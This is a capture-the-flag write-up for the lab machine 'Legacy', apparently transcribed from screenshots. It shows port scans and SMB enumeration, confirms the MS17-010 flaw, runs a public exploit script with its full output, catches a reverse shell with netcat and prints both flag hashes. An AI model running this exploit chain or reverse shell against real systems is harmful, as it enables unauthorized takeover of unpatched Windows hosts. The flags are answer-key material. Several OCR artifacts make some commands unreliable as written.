```
Nmap scan verbose all ports
  [<code>λ</code>]-[rooτ@parrot]-[/nome/user]
#nmap -v -p- legacy
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-20 12:24 +08
Initiating Ping Scan at 12:24
Scanning legacy (10.129.1.111) [4 ports]
Completed Ping Scan at 12:24, 0.23s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:24
Scanning legacy (10.129.1.111) [65535 ports]
Discovered open port 139/tcp on 10.129.1.111
Discovered open port 445/tcp on 10.129.1.111
SYN Stealth Scan Timing: About 6.66% done; ETC: 12:32 (0:07:15 remaining)
SYN Stealth Scan Timing: About 15.30% done; ETC: 12:32 (0:06:44 remaining)
SYN Stealth Scan Timing: About 21.60% done; ETC: 12:32 (0:06:14 remaining)
SYN Stealth Scan Timing: About 32.69% done; ETC: 12:31 (0:04:34 remaining)
SYN Stealth Scan Timing: About 43.65% done; ETC: 12:31 (0:03:30 remaining)
SYN Stealth Scan Timing: About 52.80% done; ETC: 12:31 (0:02:53 remaining)
SYN Stealth Scan Timing: About 62.95% done; ETC: 12:30 (0:02:11 remaining)
SYN Stealth Scan Timing: About 76.98% done; ETC: 12:30 (0:01:16 remaining)
SYN Stealth Scan Timing: About 88.69% done; ETC: 12:30 (0:00:36 remaining)
Completed SYN Stealth Scan at 12:30, 313.26s elapsed (65535 total ports)
Nmap scan report for legacy (10.129.1.111)
Host is up (0.18s latency).
Not shown: 65532 filtered ports
PORT
         STATE SERVICE
139/tcp open
                netbios-ssn
445/tcp open
                microsoft-ds
3389/tcp closed ms-wbt-server
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 313.64 seconds
           Raw packets sent: 131276 (5.776MB) | Rcvd: 209 (8.356KB)
```

Nmap default scripts scan and version scan

```
[root@parrot]-[/home/user]
   -- #nmap -sC -sV -p139,445,3389 legacy
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-20 12:39 +08
Nmap scan report for legacy (10.129.1.111)
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows XP microsoft-ds
3389/tcp closed ms-wbt-server
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
_clock-skew: mean: 5d00h27m39s, deviation: 2h07m16s, median: 4d22h57m39s
|_nbstat: NetBIOS name: LEGACY, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:b9:01:f1 (VMware)
| smb-os-discovery:
   OS: Windows XP (Windows 2000 LAN Manager)
   OS CPE: cpe:/o:microsoft:windows_xp::-
    Computer name: legacy
   NetBIOS computer name: LEGACY\x00
   Workgroup: HTB\x00
|_ System time: 2021-08-25T09:36:57+03:00
| smb-security-mode:
   account_used: guest
    authentication_level: user
    challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.49 seconds
```

No results for enum4linux

```
__user@parrotj-[~]
__senum4linux legacy
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Fri Aug 20 12:39:26 2021
  Target Information
 -----
Target ..... legacy
RID Range ..... 500-550,1000-1050
Username .....''
Password .....''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
_____
| Enumerating Workgroup/Domain on legacy
[+] Got domain/workgroup name: HTB
| Nbtstat Information for legacy
Looking up status of 10.129.1.111
       LEGACY <00> - B <ACTIVE> Workstation Service
LEGACY <20> - B <ACTIVE> File Server Service
HTB <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name
       MAC Address = 00-50-56-B9-01-F1
| Session Check on legacy
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
```

Vulnerable to ms17-010

```
-- #nmap -sC -sV -p139,445 --script "smb-vuln-ms*" legacy
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-20 12:43 +08
Nmap scan report for legacy (10.129.1.111)
Host is up (0.18s latency).
      STATE SERVICE
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp
Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
   VULNERABLE:
   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
     State: VULNERABLE
     IDs: CVE:CVE-2017-0143
     Risk factor: HIGH
       A critical remote code execution vulnerability exists in Microsoft SMBv1
        servers (ms17-010).
     Disclosure date: 2017-03-14
     References:
       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.34 seconds
Hosts vulnerable to ms17-010
msf6 auxiliary(scanner/smb/smb_ms17_010) > run
[*] 10.129.1.111:445
                             - Connected to \\10.129.1.111\IPC$ with TID = 2049
                            - Received STATUS_INSUFF_SERVER_RESOURCES with FID = 0
[*] 10.129.1.111:445
[-] 10.129.1.111:445
                            - The connection with (10.129.1.111:135) timed out.
[+] 10.129.1.111:445
                            - Host is likely VULNERABLE to MS17-010! - Windows 5.1
[*] legacy:445
                             - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_ms17_010) >
Unable to list any shared folders
[X]-[user@parrot]-[/tmp/legacy]
    $smbclient -L //legacy --option='client min protocol=NT1' -U password
Enter WORKGROUP\password's password:
session setup failed: NT_STATUS_LOGON_FAILURE
  -[X]-[user@parrot]-[/tmp/legacy]
```

All denied for getting the correct pipes

- \$

```
[-] 10.129.1.111:139
- Inaccessible named pipe: \netlogon - The server responded with an unexpected status code: STATUS_ACCESS_DENIED
- 10.129.1.111:139
- Inaccessible named pipe: \lambda responded with an unexpected status code: STATUS_ACCESS_DENIED
- 10.129.1.111:139
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- 10.129.1.111:139
- Inaccessible named
```

Follow

https://ivanitlearning.wordpress.com/2019/02/24/exploiting-ms17-010-without-metasploit-win-xp-sp3/

Get exploit

https://raw.githubusercontent.com/helviojunior/MS17-010/master/send and execute.py

Create reverse shell

```
Install requirements
```

```
[user@parrot]=[/tmp/legacy]

$pip install impacket

DEPRECATION: Python 2.7 reached the end of its life on January 1st, 2020. Please upgrade your Python as

Python 2.7 is no longer maintained. pip 21.0 will drop support for Python 2.7 in January 2021. More deta

ils about Python 2 support in pip can be found at https://pip.pypa.io/en/latest/development/release-proc

ess/#python-2-support pip 21.0 will remove support for this functionality.

Defaulting to user installation because normal site-packages is not writeable

Collecting impacket

Downloading impacket-0.9.23.tar.gz (4.1 MB)

| 4.1 MB 22.6 MB/s

Requirement already satisfied: chardet in /home/user/.local/lib/python2.7/site-packages (from impacket)

(4.0.0)

Collecting flask>=1.0

Downloading Flask-1.1.4-py2.py3-none-any.whl (94 kB)

| 94 kB 7.4 MB/s
```

```
-[user@parrot]-[/tmp/legacy]
  $python send and execute.py
send_and_execute.py <ip> <executable_file> [port] [pipe_name]
Execute exploit
[X]-[user@parrot]-[/tmp/legacy]
   -- $python send_and_execute.py 10.129.1.111 reverse.exe
Trying to connect to 10.129.1.111:445
Target OS: Windows 5.1
Using named pipe: spoolss
Groom packets
attempt controlling next transaction on x86
success controlling one transaction
modify parameter count to 0xffffffff to be able to write backward
leak next transaction
CONNECTION: 0x81e24c28
SESSION: 0xe10ae928
FLINK: 0x7bd48
InData: 0x7ae28
MID: 0xa
TRANS1: 0x78b50
TRANS2: 0x7ac90
modify transaction struct for arbitrary read/write
make this SMB session to be SYSTEM
current TOKEN addr: 0xe1faf320
userAndGroupCount: 0x3
userAndGroupsAddr: 0xe1faf3c0
overwriting token UserAndGroups
Sending file 328F79.exe...
Opening SVCManager on 10.129.1.111.....
Creating service ddix.....
Starting service ddix.....
Reverse shell gained
--[X]-[user@parrot]-[/tmp/legacy]
  - $sudo nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.1.111] 1066
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>whoami
```

Get list of users

User flag

C:\Documents and Settings\john\Desktop>type user.txt
type user.txt
e69af0e4f443de7e36876fda4ec7644f
C:\Documents and Settings\john\Desktop>

Admin flag

C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
993442d258b0e0ec917cae9e695d5713

C:\Documents and Settings\Administrator\Desktop>